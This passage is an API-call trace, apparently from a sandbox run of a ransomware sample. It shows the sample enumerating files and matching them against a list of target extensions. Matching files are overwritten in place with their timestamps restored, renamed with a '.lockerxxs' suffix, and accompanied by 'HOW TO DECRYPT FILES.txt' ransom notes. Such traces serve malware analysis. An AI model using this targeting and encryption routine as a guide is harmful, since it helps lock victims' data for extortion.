lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Roses.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" [0085.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.ems") returned 0 [0085.156] lstrlenA (lpString="*.ems") returned 5 [0085.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.db") returned 0 [0085.156] lstrlenA (lpString="*.db") returned 4 [0085.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.dbf") returned 0 [0085.156] lstrlenA (lpString="*.dbf") returned 5 [0085.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.myox") returned 0 [0085.156] lstrlenA (lpString="*.myox") returned 6 [0085.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.myo") returned 0 [0085.157] lstrlenA (lpString="*.myo") returned 5 [0085.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.qbw") returned 0 [0085.157] lstrlenA (lpString="*.qbw") returned 5 [0085.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.qbb") returned 0 [0085.157] lstrlenA (lpString="*.qbb") returned 5 [0085.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.qbm") returned 0 [0085.157] lstrlenA (lpString="*.qbm") returned 5 [0085.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.qbo") returned 0 [0085.158] lstrlenA (lpString="*.qbo") returned 5 [0085.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.qbx") returned 0 [0085.158] lstrlenA (lpString="*.qbx") returned 5 [0085.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.qba") returned 0 [0085.158] lstrlenA (lpString="*.qba") returned 5 [0085.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.qby") returned 0 [0085.158] lstrlenA (lpString="*.qby") returned 5 [0085.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.qbj") returned 0 [0085.158] lstrlenA (lpString="*.qbj") returned 5 [0085.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.ofx") returned 0 [0085.159] lstrlenA (lpString="*.ofx") returned 5 [0085.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.qif") returned 0 [0085.159] lstrlenA (lpString="*.qif") returned 5 [0085.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.mye") returned 0 [0085.159] lstrlenA (lpString="*.mye") returned 5 [0085.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.mbox") returned 0 [0085.159] lstrlenA (lpString="*.mbox") returned 6 [0085.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.eml") returned 0 [0085.159] lstrlenA (lpString="*.eml") returned 5 [0085.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.pst") returned 0 [0085.159] lstrlenA (lpString="*.pst") returned 5 [0085.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.ost") returned 0 [0085.159] lstrlenA (lpString="*.ost") returned 5 [0085.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.idx") returned 0 [0085.159] lstrlenA (lpString="*.idx") returned 5 [0085.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.dbx") returned 0 [0085.159] lstrlenA (lpString="*.dbx") returned 5 [0085.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.sql") returned 0 [0085.160] lstrlenA (lpString="*.sql") returned 5 [0085.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.mdb") returned 0 [0085.160] lstrlenA (lpString="*.mdb") returned 5 [0085.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.fdb") returned 0 [0085.160] lstrlenA (lpString="*.fdb") returned 5 [0085.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.wab") returned 0 [0085.160] lstrlenA (lpString="*.wab") returned 5 [0085.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.dat") returned 0 [0085.160] lstrlenA (lpString="*.dat") returned 5 [0085.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.txt") returned 0 [0085.160] lstrlenA (lpString="*.txt") returned 5 [0085.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.jpeg") returned 0 [0085.160] lstrlenA (lpString="*.jpeg") returned 6 [0085.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", pszSpec="*.jpg") returned 1 [0085.160] lstrlenA (lpString="*.jpg") returned 5 [0085.160] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" [0085.160] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" [0085.160] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg." [0085.160] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.lockerxxs" [0085.161] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.162] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x780 [0085.162] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28f3aae0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28f3aae0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xaa567585, dwHighDateTime=0x1c9ea0c)) returned 1 [0085.162] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.162] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x75a, lpOverlapped=0x0) returned 1 [0085.318] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg") returned="Roses.jpg" [0085.318] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.318] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x75a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x75a, lpOverlapped=0x0) returned 1 [0085.318] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.319] CloseHandle (hObject=0x98) returned 1 [0085.319] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.lockerxxs")) returned 1 [0085.320] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x27000324, dwReserved1=0x4e00c4, cFileName="Shades of Blue.htm", cAlternateFileName="SHADES~1.HTM")) returned 1 [0085.320] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.320] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Shades of Blue.htm") returned -1 [0085.320] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Shades of Blue.htm") returned -1 [0085.320] lstrcmpiA (lpString1="", lpString2="Shades of Blue.htm") returned -1 [0085.320] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg") returned="Roses.jpg" [0085.320] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.320] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.320] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.320] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.321] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Shades of Blue.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" [0085.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.ems") returned 0 [0085.321] lstrlenA (lpString="*.ems") returned 5 [0085.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.db") returned 0 [0085.321] lstrlenA (lpString="*.db") returned 4 [0085.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.dbf") returned 0 [0085.321] lstrlenA (lpString="*.dbf") returned 5 [0085.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.myox") returned 0 [0085.321] lstrlenA (lpString="*.myox") returned 6 [0085.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.myo") returned 0 [0085.321] lstrlenA (lpString="*.myo") returned 5 [0085.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.qbw") returned 0 [0085.321] lstrlenA (lpString="*.qbw") returned 5 [0085.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.qbb") returned 0 [0085.321] lstrlenA (lpString="*.qbb") returned 5 [0085.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.qbm") returned 0 [0085.321] lstrlenA (lpString="*.qbm") returned 5 [0085.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.qbo") returned 0 [0085.321] lstrlenA (lpString="*.qbo") returned 5 [0085.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.qbx") returned 0 [0085.322] lstrlenA (lpString="*.qbx") returned 5 [0085.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.qba") returned 0 [0085.322] lstrlenA (lpString="*.qba") returned 5 [0085.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.qby") returned 0 [0085.322] lstrlenA (lpString="*.qby") returned 5 [0085.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.qbj") returned 0 [0085.322] lstrlenA (lpString="*.qbj") returned 5 [0085.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.ofx") returned 0 [0085.322] lstrlenA (lpString="*.ofx") returned 5 [0085.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.qif") returned 0 [0085.322] lstrlenA (lpString="*.qif") returned 5 [0085.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.mye") returned 0 [0085.322] lstrlenA (lpString="*.mye") returned 5 [0085.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.mbox") returned 0 [0085.322] lstrlenA (lpString="*.mbox") returned 6 [0085.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.eml") returned 0 [0085.322] lstrlenA (lpString="*.eml") returned 5 [0085.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.pst") returned 0 [0085.323] lstrlenA (lpString="*.pst") returned 5 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.ost") returned 0 [0085.323] lstrlenA (lpString="*.ost") returned 5 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.idx") returned 0 [0085.323] lstrlenA (lpString="*.idx") returned 5 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.dbx") returned 0 [0085.323] lstrlenA (lpString="*.dbx") returned 5 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.sql") returned 0 [0085.323] lstrlenA (lpString="*.sql") returned 5 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.mdb") returned 0 [0085.323] lstrlenA (lpString="*.mdb") returned 5 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.fdb") returned 0 [0085.323] lstrlenA (lpString="*.fdb") returned 5 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.wab") returned 0 [0085.323] lstrlenA (lpString="*.wab") returned 5 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.dat") returned 0 [0085.323] lstrlenA (lpString="*.dat") returned 5 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.txt") returned 0 [0085.323] lstrlenA (lpString="*.txt") returned 5 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.jpeg") returned 0 [0085.323] lstrlenA (lpString="*.jpeg") returned 6 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.jpg") returned 0 [0085.323] lstrlenA (lpString="*.jpg") returned 5 [0085.323] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.png") returned 0 [0085.323] lstrlenA (lpString="*.png") returned 5 [0085.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.php") returned 0 [0085.324] lstrlenA (lpString="*.php") returned 5 [0085.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.cs") returned 0 [0085.324] lstrlenA (lpString="*.cs") returned 4 [0085.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.cpp") returned 0 [0085.324] lstrlenA (lpString="*.cpp") returned 5 [0085.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.rar") returned 0 [0085.324] lstrlenA (lpString="*.rar") returned 5 [0085.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.zip") returned 0 [0085.324] lstrlenA (lpString="*.zip") returned 5 [0085.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.html") returned 0 [0085.324] lstrlenA (lpString="*.html") returned 6 [0085.324] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", pszSpec="*.htm") returned 1 [0085.324] lstrlenA (lpString="*.htm") returned 5 [0085.324] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" [0085.324] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" [0085.324] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm." [0085.324] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.lockerxxs" [0085.324] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.325] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xed [0085.325] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28f3aae0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28f3aae0, 